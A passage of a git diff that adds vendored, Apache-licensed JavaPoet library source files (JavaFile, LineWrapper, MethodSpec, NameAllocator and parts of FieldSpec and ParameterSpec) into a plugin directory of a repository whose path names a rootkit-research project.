builder = new Builder(type, name); + builder.javadoc.add(javadoc); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + builder.initializer = initializer.isEmpty() ? null : initializer; + return builder; + } + + public static final class Builder { + private final TypeName type; + private final String name; + + private final CodeBlock.Builder javadoc = CodeBlock.builder(); + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + private CodeBlock initializer = null; + + private Builder(TypeName type, String name) { + this.type = type; + this.name = name; + } + + public Builder addJavadoc(String format, Object... args) { + javadoc.add(format, args); + return this; + } + + public Builder addJavadoc(CodeBlock block) { + javadoc.add(block); + return this; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + this.annotations.add(AnnotationSpec.builder(annotation).build()); + return this; + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder initializer(String format, Object... args) { + return initializer(CodeBlock.of(format, args)); + } + + public Builder initializer(CodeBlock codeBlock) { + checkState(this.initializer == null, "initializer was already set"); + this.initializer = checkNotNull(codeBlock, "codeBlock == null"); + return this; + } + + public FieldSpec build() { + return new FieldSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/JavaFile.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/JavaFile.java new file mode 100644 index 0000000..13a87b1 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/JavaFile.java @@ -0,0 +1,276 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static java.nio.charset.StandardCharsets.UTF_8; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStreamWriter; +import java.io.Writer; +import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.TreeSet; + +import javax.annotation.processing.Filer; +import javax.lang.model.element.Element; +import javax.lang.model.element.Modifier; +import javax.tools.JavaFileObject; +import javax.tools.JavaFileObject.Kind; +import javax.tools.SimpleJavaFileObject; + +/** A Java file containing a single top level class. */ +public final class JavaFile { + private static final Appendable NULL_APPENDABLE = new Appendable() { + @Override public Appendable append(CharSequence charSequence) { + return this; + } + @Override public Appendable append(CharSequence charSequence, int start, int end) { + return this; + } + @Override public Appendable append(char c) { + return this; + } + }; + + public final CodeBlock fileComment; + public final String packageName; + public final TypeSpec typeSpec; + public final boolean skipJavaLangImports; + private final Set staticImports; + private final String indent; + + private JavaFile(Builder builder) { + this.fileComment = builder.fileComment.build(); + this.packageName = builder.packageName; + this.typeSpec = builder.typeSpec; + this.skipJavaLangImports = builder.skipJavaLangImports; + this.staticImports = Util.immutableSet(builder.staticImports); + this.indent = builder.indent; + } + + public void writeTo(Appendable out) throws IOException { + // First pass: emit the entire class, just to collect the types we'll need to import. + CodeWriter importsCollector = new CodeWriter(NULL_APPENDABLE, indent, staticImports); + emit(importsCollector); + Map suggestedImports = importsCollector.suggestedImports(); + + // Second pass: write the code, taking advantage of the imports. + CodeWriter codeWriter = new CodeWriter(out, indent, suggestedImports, staticImports); + emit(codeWriter); + } + + /** Writes this to {@code directory} as UTF-8 using the standard directory structure. */ + public void writeTo(Path directory) throws IOException { + checkArgument(Files.notExists(directory) || Files.isDirectory(directory), + "path %s exists but is not a directory.", directory); + Path outputDirectory = directory; + if (!packageName.isEmpty()) { + for (String packageComponent : packageName.split("\\.")) { + outputDirectory = outputDirectory.resolve(packageComponent); + } + Files.createDirectories(outputDirectory); + } + + Path outputPath = outputDirectory.resolve(typeSpec.name + ".java"); + try (Writer writer = new OutputStreamWriter(Files.newOutputStream(outputPath), UTF_8)) { + writeTo(writer); + } + } + + /** Writes this to {@code directory} as UTF-8 using the standard directory structure. */ + public void writeTo(File directory) throws IOException { + writeTo(directory.toPath()); + } + + /** Writes this to {@code filer}. */ + public void writeTo(Filer filer) throws IOException { + String fileName = packageName.isEmpty() + ? typeSpec.name + : packageName + "." + typeSpec.name; + List originatingElements = typeSpec.originatingElements; + JavaFileObject filerSourceFile = filer.createSourceFile(fileName, + originatingElements.toArray(new Element[originatingElements.size()])); + try (Writer writer = filerSourceFile.openWriter()) { + writeTo(writer); + } catch (Exception e) { + try { + filerSourceFile.delete(); + } catch (Exception ignored) { + } + throw e; + } + } + + private void emit(CodeWriter codeWriter) throws IOException { + codeWriter.pushPackage(packageName); + + if (!fileComment.isEmpty()) { + codeWriter.emitComment(fileComment); + } + + if (!packageName.isEmpty()) { + codeWriter.emit("package $L;\n", packageName); + codeWriter.emit("\n"); + } + + if (!staticImports.isEmpty()) { + for (String signature : staticImports) { + codeWriter.emit("import static $L;\n", signature); + } + codeWriter.emit("\n"); + } + + int importedTypesCount = 0; + for (ClassName className : new TreeSet<>(codeWriter.importedTypes().values())) { + if (skipJavaLangImports && className.packageName().equals("java.lang")) continue; + codeWriter.emit("import $L;\n", className); + importedTypesCount++; + } + + if (importedTypesCount > 0) { + codeWriter.emit("\n"); + } + + typeSpec.emit(codeWriter, null, Collections.emptySet()); + + codeWriter.popPackage(); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + try { + StringBuilder result = new StringBuilder(); + writeTo(result); + return result.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public JavaFileObject toJavaFileObject() { + URI uri = URI.create((packageName.isEmpty() + ? typeSpec.name + : packageName.replace('.', '/') + '/' + typeSpec.name) + + Kind.SOURCE.extension); + return new SimpleJavaFileObject(uri, Kind.SOURCE) { + private final long lastModified = System.currentTimeMillis(); + @Override public String getCharContent(boolean ignoreEncodingErrors) { + return JavaFile.this.toString(); + } + @Override public InputStream openInputStream() throws IOException { + return new ByteArrayInputStream(getCharContent(true).getBytes(UTF_8)); + } + @Override public long getLastModified() { + return lastModified; + } + }; + } + + public static Builder builder(String packageName, TypeSpec typeSpec) { + checkNotNull(packageName, "packageName == null"); + checkNotNull(typeSpec, "typeSpec == null"); + return new Builder(packageName, typeSpec); + } + + public Builder toBuilder() { + Builder builder = new Builder(packageName, typeSpec); + builder.fileComment.add(fileComment); + builder.skipJavaLangImports = skipJavaLangImports; + builder.indent = indent; + return builder; + } + + public static final class Builder { + private final String packageName; + private final TypeSpec typeSpec; + private final CodeBlock.Builder fileComment = CodeBlock.builder(); + private final Set staticImports = new TreeSet<>(); + private boolean skipJavaLangImports; + private String indent = " "; + + private Builder(String packageName, TypeSpec typeSpec) { + this.packageName = packageName; + this.typeSpec = typeSpec; + } + + public Builder addFileComment(String format, Object... args) { + this.fileComment.add(format, args); + return this; + } + + public Builder addStaticImport(Enum constant) { + return addStaticImport(ClassName.get(constant.getDeclaringClass()), constant.name()); + } + + public Builder addStaticImport(Class clazz, String... names) { + return addStaticImport(ClassName.get(clazz), names); + } + + public Builder addStaticImport(ClassName className, String... names) { + checkArgument(className != null, "className == null"); + checkArgument(names != null, "names == null"); + checkArgument(names.length > 0, "names array is empty"); + for (String name : names) { + checkArgument(name != null, "null entry in names array: %s", Arrays.toString(names)); + staticImports.add(className.canonicalName + "." + name); + } + return this; + } + + /** + * Call this to omit imports for classes in {@code java.lang}, such as {@code java.lang.String}. + * + *

By default, JavaPoet explicitly imports types in {@code java.lang} to defend against + * naming conflicts. Suppose an (ill-advised) class is named {@code com.example.String}. When + * {@code java.lang} imports are skipped, generated code in {@code com.example} that references + * {@code java.lang.String} will get {@code com.example.String} instead. + */ + public Builder skipJavaLangImports(boolean skipJavaLangImports) { + this.skipJavaLangImports = skipJavaLangImports; + return this; + } + + public Builder indent(String indent) { + this.indent = indent; + return this; + } + + public JavaFile build() { + return new JavaFile(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/LineWrapper.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/LineWrapper.java new file mode 100644 index 0000000..090b7ca --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/LineWrapper.java @@ -0,0 +1,106 @@ +/* + * Copyright (C) 2016 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; + +/** + * Implements soft line wrapping on an appendable. To use, append characters using {@link #append} + * or soft-wrapping spaces using {@link #wrappingSpace}. + */ +final class LineWrapper { + private final Appendable out; + private final String indent; + private final int columnLimit; + private boolean closed; + + /** Characters written since the last wrapping space that haven't yet been flushed. */ + private final StringBuilder buffer = new StringBuilder(); + + /** The number of characters since the most recent newline. Includes both out and the buffer. */ + private int column = 0; + + /** -1 if we have no buffering; otherwise the number of spaces to write after wrapping. */ + private int indentLevel = -1; + + LineWrapper(Appendable out, String indent, int columnLimit) { + checkNotNull(out, "out == null"); + this.out = out; + this.indent = indent; + this.columnLimit = columnLimit; + } + + /** Emit {@code s}. This may be buffered to permit line wraps to be inserted. */ + void append(String s) throws IOException { + if (closed) throw new IllegalStateException("closed"); + + if (indentLevel != -1) { + int nextNewline = s.indexOf('\n'); + + // If s doesn't cause the current line to cross the limit, buffer it and return. We'll decide + // whether or not we have to wrap it later. + if (nextNewline == -1 && column + s.length() <= columnLimit) { + buffer.append(s); + column += s.length(); + return; + } + + // Wrap if appending s would overflow the current line. + boolean wrap = nextNewline == -1 || column + nextNewline > columnLimit; + flush(wrap); + } + + out.append(s); + int lastNewline = s.lastIndexOf('\n'); + column = lastNewline != -1 + ? s.length() - lastNewline - 1 + : column + s.length(); + } + + /** Emit either a space or a newline character. */ + void wrappingSpace(int indentLevel) throws IOException { + if (closed) throw new IllegalStateException("closed"); + + if (this.indentLevel != -1) flush(false); + this.column++; + this.indentLevel = indentLevel; + } + + /** Flush any outstanding text and forbid future writes to this line wrapper. */ + void close() throws IOException { + if (indentLevel != -1) flush(false); + closed = true; + } + + /** Write the space followed by any buffered text that follows it. */ + private void flush(boolean wrap) throws IOException { + if (wrap) { + out.append('\n'); + for (int i = 0; i < indentLevel; i++) { + out.append(indent); + } + column = indentLevel * indent.length(); + column += buffer.length(); + } else { + out.append(' '); + } + out.append(buffer); + buffer.delete(0, buffer.length()); + indentLevel = -1; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/MethodSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/MethodSpec.java new file mode 100644 index 0000000..5ec121a --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/MethodSpec.java @@ -0,0 +1,471 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Iterator; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.ExecutableElement; +import javax.lang.model.element.Modifier; +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.DeclaredType; +import javax.lang.model.type.ExecutableType; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.type.TypeVariable; +import javax.lang.model.util.Types; + +/** A generated constructor or method declaration. */ +public final class MethodSpec { + static final String CONSTRUCTOR = ""; + + public final String name; + public final CodeBlock javadoc; + public final List annotations; + public final Set modifiers; + public final List typeVariables; + public final TypeName returnType; + public final List parameters; + public final boolean varargs; + public final List exceptions; + public final CodeBlock code; + public final CodeBlock defaultValue; + + private MethodSpec(Builder builder) { + CodeBlock code = builder.code.build(); + checkArgument(code.isEmpty() || !builder.modifiers.contains(Modifier.ABSTRACT), + "abstract method %s cannot have code", builder.name); + checkArgument(!builder.varargs || lastParameterIsArray(builder.parameters), + "last parameter of varargs method %s must be an array", builder.name); + + this.name = checkNotNull(builder.name, "name == null"); + this.javadoc = builder.javadoc.build(); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.typeVariables = Util.immutableList(builder.typeVariables); + this.returnType = builder.returnType; + this.parameters = Util.immutableList(builder.parameters); + this.varargs = builder.varargs; + this.exceptions = Util.immutableList(builder.exceptions); + this.defaultValue = builder.defaultValue; + this.code = code; + } + + private boolean lastParameterIsArray(List parameters) { + return !parameters.isEmpty() + && TypeName.arrayComponent(parameters.get(parameters.size() - 1).type) != null; + } + + void emit(CodeWriter codeWriter, String enclosingName, Set implicitModifiers) + throws IOException { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emitModifiers(modifiers, implicitModifiers); + + if (!typeVariables.isEmpty()) { + codeWriter.emitTypeVariables(typeVariables); + codeWriter.emit(" "); + } + + if (isConstructor()) { + codeWriter.emit("$L(", enclosingName); + } else { + codeWriter.emit("$T $L(", returnType, name); + } + + boolean firstParameter = true; + for (Iterator i = parameters.iterator(); i.hasNext(); ) { + ParameterSpec parameter = i.next(); + if (!firstParameter) codeWriter.emit(",").emitWrappingSpace(); + parameter.emit(codeWriter, !i.hasNext() && varargs); + firstParameter = false; + } + + codeWriter.emit(")"); + + if (defaultValue != null && !defaultValue.isEmpty()) { + codeWriter.emit(" default "); + codeWriter.emit(defaultValue); + } + + if (!exceptions.isEmpty()) { + codeWriter.emitWrappingSpace().emit("throws"); + boolean firstException = true; + for (TypeName exception : exceptions) { + if (!firstException) codeWriter.emit(","); + codeWriter.emitWrappingSpace().emit("$T", exception); + firstException = false; + } + } + + if (hasModifier(Modifier.ABSTRACT)) { + codeWriter.emit(";\n"); + } else if (hasModifier(Modifier.NATIVE)) { + // Code is allowed to support stuff like GWT JSNI. + codeWriter.emit(code); + codeWriter.emit(";\n"); + } else { + codeWriter.emit(" {\n"); + + codeWriter.indent(); + codeWriter.emit(code); + codeWriter.unindent(); + + codeWriter.emit("}\n"); + } + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + public boolean isConstructor() { + return name.equals(CONSTRUCTOR); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, "Constructor", Collections.emptySet()); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static Builder methodBuilder(String name) { + return new Builder(name); + } + + public static Builder constructorBuilder() { + return new Builder(CONSTRUCTOR); + } + + /** + * Returns a new method spec builder that overrides {@code method}. + * + *

This will copy its visibility modifiers, type parameters, return type, name, parameters, and + * throws declarations. An {@link Override} annotation will be added. + * + *

Note that in JavaPoet 1.2 through 1.7 this method retained annotations from the method and + * parameters of the overridden method. Since JavaPoet 1.8 annotations must be added separately. + */ + public static Builder overriding(ExecutableElement method) { + checkNotNull(method, "method == null"); + + Set modifiers = method.getModifiers(); + if (modifiers.contains(Modifier.PRIVATE) + || modifiers.contains(Modifier.FINAL) + || modifiers.contains(Modifier.STATIC)) { + throw new IllegalArgumentException("cannot override method with modifiers: " + modifiers); + } + + String methodName = method.getSimpleName().toString(); + MethodSpec.Builder methodBuilder = MethodSpec.methodBuilder(methodName); + + methodBuilder.addAnnotation(Override.class); + + modifiers = new LinkedHashSet<>(modifiers); + modifiers.remove(Modifier.ABSTRACT); + modifiers.remove(Util.DEFAULT); // LinkedHashSet permits null as element for Java 7 + methodBuilder.addModifiers(modifiers); + + for (TypeParameterElement typeParameterElement : method.getTypeParameters()) { + TypeVariable var = (TypeVariable) typeParameterElement.asType(); + methodBuilder.addTypeVariable(TypeVariableName.get(var)); + } + + methodBuilder.returns(TypeName.get(method.getReturnType())); + methodBuilder.addParameters(ParameterSpec.parametersOf(method)); + methodBuilder.varargs(method.isVarArgs()); + + for (TypeMirror thrownType : method.getThrownTypes()) { + methodBuilder.addException(TypeName.get(thrownType)); + } + + return methodBuilder; + } + + /** + * Returns a new method spec builder that overrides {@code method} as a member of {@code + * enclosing}. This will resolve type parameters: for example overriding {@link + * Comparable#compareTo} in a type that implements {@code Comparable}, the {@code T} + * parameter will be resolved to {@code Movie}. + * + *

This will copy its visibility modifiers, type parameters, return type, name, parameters, and + * throws declarations. An {@link Override} annotation will be added. + * + *

Note that in JavaPoet 1.2 through 1.7 this method retained annotations from the method and + * parameters of the overridden method. Since JavaPoet 1.8 annotations must be added separately. + */ + public static Builder overriding( + ExecutableElement method, DeclaredType enclosing, Types types) { + ExecutableType executableType = (ExecutableType) types.asMemberOf(enclosing, method); + List resolvedParameterTypes = executableType.getParameterTypes(); + TypeMirror resolvedReturnType = executableType.getReturnType(); + + Builder builder = overriding(method); + builder.returns(TypeName.get(resolvedReturnType)); + for (int i = 0, size = builder.parameters.size(); i < size; i++) { + ParameterSpec parameter = builder.parameters.get(i); + TypeName type = TypeName.get(resolvedParameterTypes.get(i)); + builder.parameters.set(i, parameter.toBuilder(type, parameter.name).build()); + } + + return builder; + } + + public Builder toBuilder() { + Builder builder = new Builder(name); + builder.javadoc.add(javadoc); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + builder.typeVariables.addAll(typeVariables); + builder.returnType = returnType; + builder.parameters.addAll(parameters); + builder.exceptions.addAll(exceptions); + builder.code.add(code); + builder.varargs = varargs; + builder.defaultValue = defaultValue; + return builder; + } + + public static final class Builder { + private final String name; + + private final CodeBlock.Builder javadoc = CodeBlock.builder(); + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + private List typeVariables = new ArrayList<>(); + private TypeName returnType; + private final List parameters = new ArrayList<>(); + private final Set exceptions = new LinkedHashSet<>(); + private final CodeBlock.Builder code = CodeBlock.builder(); + private boolean varargs; + private CodeBlock defaultValue; + + private Builder(String name) { + checkArgument(name.equals(CONSTRUCTOR) || SourceVersion.isName(name), + "not a valid name: %s", name); + this.name = name; + this.returnType = name.equals(CONSTRUCTOR) ? null : TypeName.VOID; + } + + public Builder addJavadoc(String format, Object... args) { + javadoc.add(format, args); + return this; + } + + public Builder addJavadoc(CodeBlock block) { + javadoc.add(block); + return this; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + this.annotations.add(AnnotationSpec.builder(annotation).build()); + return this; + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder addModifiers(Iterable modifiers) { + checkNotNull(modifiers, "modifiers == null"); + for (Modifier modifier : modifiers) { + this.modifiers.add(modifier); + } + return this; + } + + public Builder addTypeVariables(Iterable typeVariables) { + checkArgument(typeVariables != null, "typeVariables == null"); + for (TypeVariableName typeVariable : typeVariables) { + this.typeVariables.add(typeVariable); + } + return this; + } + + public Builder addTypeVariable(TypeVariableName typeVariable) { + typeVariables.add(typeVariable); + return this; + } + + public Builder returns(TypeName returnType) { + checkState(!name.equals(CONSTRUCTOR), "constructor cannot have return type."); + this.returnType = returnType; + return this; + } + + public Builder returns(Type returnType) { + return returns(TypeName.get(returnType)); + } + + public Builder addParameters(Iterable parameterSpecs) { + checkArgument(parameterSpecs != null, "parameterSpecs == null"); + for (ParameterSpec parameterSpec : parameterSpecs) { + this.parameters.add(parameterSpec); + } + return this; + } + + public Builder addParameter(ParameterSpec parameterSpec) { + this.parameters.add(parameterSpec); + return this; + } + + public Builder addParameter(TypeName type, String name, Modifier... modifiers) { + return addParameter(ParameterSpec.builder(type, name, modifiers).build()); + } + + public Builder addParameter(Type type, String name, Modifier... modifiers) { + return addParameter(TypeName.get(type), name, modifiers); + } + + public Builder varargs() { + return varargs(true); + } + + public Builder varargs(boolean varargs) { + this.varargs = varargs; + return this; + } + + public Builder addExceptions(Iterable exceptions) { + checkArgument(exceptions != null, "exceptions == null"); + for (TypeName exception : exceptions) { + this.exceptions.add(exception); + } + return this; + } + + public Builder addException(TypeName exception) { + this.exceptions.add(exception); + return this; + } + + public Builder addException(Type exception) { + return addException(TypeName.get(exception)); + } + + public Builder addCode(String format, Object... args) { + code.add(format, args); + return this; + } + + public Builder addCode(CodeBlock codeBlock) { + code.add(codeBlock); + return this; + } + + public Builder addComment(String format, Object... args) { + code.add("// " + format + "\n", args); + return this; + } + + public Builder defaultValue(String format, Object... args) { + return defaultValue(CodeBlock.of(format, args)); + } + + public Builder defaultValue(CodeBlock codeBlock) { + checkState(this.defaultValue == null, "defaultValue was already set"); + this.defaultValue = checkNotNull(codeBlock, "codeBlock == null"); + return this; + } + + /** + * @param controlFlow the control flow construct and its code, such as "if (foo == 5)". + * Shouldn't contain braces or newline characters. + */ + public Builder beginControlFlow(String controlFlow, Object... args) { + code.beginControlFlow(controlFlow, args); + return this; + } + + /** + * @param controlFlow the control flow construct and its code, such as "else if (foo == 10)". + * Shouldn't contain braces or newline characters. + */ + public Builder nextControlFlow(String controlFlow, Object... args) { + code.nextControlFlow(controlFlow, args); + return this; + } + + public Builder endControlFlow() { + code.endControlFlow(); + return this; + } + + /** + * @param controlFlow the optional control flow construct and its code, such as + * "while(foo == 20)". Only used for "do/while" control flows. + */ + public Builder endControlFlow(String controlFlow, Object... args) { + code.endControlFlow(controlFlow, args); + return this; + } + + public Builder addStatement(String format, Object... args) { + code.addStatement(format, args); + return this; + } + + public MethodSpec build() { + return new MethodSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/NameAllocator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/NameAllocator.java new file mode 100644 index 0000000..549bf0f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/NameAllocator.java @@ -0,0 +1,169 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkNotNull; + +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.Map; +import java.util.Set; +import java.util.UUID; + +import javax.lang.model.SourceVersion; + +/** + * Assigns Java identifier names to avoid collisions, keywords, and invalid characters. To use, + * first create an instance and allocate all of the names that you need. Typically this is a + * mix of user-supplied names and constants:

   {@code
+ *
+ *   NameAllocator nameAllocator = new NameAllocator();
+ *   for (MyProperty property : properties) {
+ *     nameAllocator.newName(property.name(), property);
+ *   }
+ *   nameAllocator.newName("sb", "string builder");
+ * }
+ * + * Pass a unique tag object to each allocation. The tag scopes the name, and can be used to look up + * the allocated name later. Typically the tag is the object that is being named. In the above + * example we use {@code property} for the user-supplied property names, and {@code "string + * builder"} for our constant string builder. + * + *

Once we've allocated names we can use them when generating code:

   {@code
+ *
+ *   MethodSpec.Builder builder = MethodSpec.methodBuilder("toString")
+ *       .addAnnotation(Override.class)
+ *       .addModifiers(Modifier.PUBLIC)
+ *       .returns(String.class);
+ *
+ *   builder.addStatement("$1T $2N = new $1T()",
+ *       StringBuilder.class, nameAllocator.get("string builder"));
+ *   for (MyProperty property : properties) {
+ *     builder.addStatement("$N.append($N)",
+ *         nameAllocator.get("string builder"), nameAllocator.get(property));
+ *   }
+ *   builder.addStatement("return $N", nameAllocator.get("string builder"));
+ *   return builder.build();
+ * }
+ * + * The above code generates unique names if presented with conflicts. Given user-supplied properties + * with names {@code ab} and {@code sb} this generates the following:
   {@code
+ *
+ *   @Override
+ *   public String toString() {
+ *     StringBuilder sb_ = new StringBuilder();
+ *     sb_.append(ab);
+ *     sb_.append(sb);
+ *     return sb_.toString();
+ *   }
+ * }
+ * + * The underscore is appended to {@code sb} to avoid conflicting with the user-supplied {@code sb} + * property. Underscores are also prefixed for names that start with a digit, and used to replace + * name-unsafe characters like space or dash. + * + *

When dealing with multiple independent inner scopes, use a {@link #clone()} of the + * NameAllocator used for the outer scope to further refine name allocation for a specific inner + * scope. + */ +public final class NameAllocator implements Cloneable { + private final Set allocatedNames; + private final Map tagToName; + + public NameAllocator() { + this(new LinkedHashSet(), new LinkedHashMap()); + } + + private NameAllocator(LinkedHashSet allocatedNames, + LinkedHashMap tagToName) { + this.allocatedNames = allocatedNames; + this.tagToName = tagToName; + } + + /** + * Return a new name using {@code suggestion} that will not be a Java identifier or clash with + * other names. + */ + public String newName(String suggestion) { + return newName(suggestion, UUID.randomUUID().toString()); + } + + /** + * Return a new name using {@code suggestion} that will not be a Java identifier or clash with + * other names. The returned value can be queried multiple times by passing {@code tag} to + * {@link #get(Object)}. + */ + public String newName(String suggestion, Object tag) { + checkNotNull(suggestion, "suggestion"); + checkNotNull(tag, "tag"); + + suggestion = toJavaIdentifier(suggestion); + + while (SourceVersion.isKeyword(suggestion) || !allocatedNames.add(suggestion)) { + suggestion = suggestion + "_"; + } + + String replaced = tagToName.put(tag, suggestion); + if (replaced != null) { + tagToName.put(tag, replaced); // Put things back as they were! + throw new IllegalArgumentException("tag " + tag + " cannot be used for both '" + replaced + + "' and '" + suggestion + "'"); + } + + return suggestion; + } + + public static String toJavaIdentifier(String suggestion) { + StringBuilder result = new StringBuilder(); + for (int i = 0; i < suggestion.length(); ) { + int codePoint = suggestion.codePointAt(i); + if (i == 0 + && !Character.isJavaIdentifierStart(codePoint) + && Character.isJavaIdentifierPart(codePoint)) { + result.append("_"); + } + + int validCodePoint = Character.isJavaIdentifierPart(codePoint) ? codePoint : '_'; + result.appendCodePoint(validCodePoint); + i += Character.charCount(codePoint); + } + return result.toString(); + } + + /** Retrieve a name created with {@link #newName(String, Object)}. */ + public String get(Object tag) { + String result = tagToName.get(tag); + if (result == null) { + throw new IllegalArgumentException("unknown tag: " + tag); + } + return result; + } + + /** + * Create a deep copy of this NameAllocator. Useful to create multiple independent refinements + * of a NameAllocator to be used in the respective definition of multiples, independently-scoped, + * inner code blocks. + * + * @return A deep copy of this NameAllocator. + */ + @Override + public NameAllocator clone() { + return new NameAllocator( + new LinkedHashSet<>(this.allocatedNames), + new LinkedHashMap<>(this.tagToName)); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ParameterSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ParameterSpec.java new file mode 100644 index 0000000..adc4c48 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ParameterSpec.java @@ -0,0 +1,173 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT 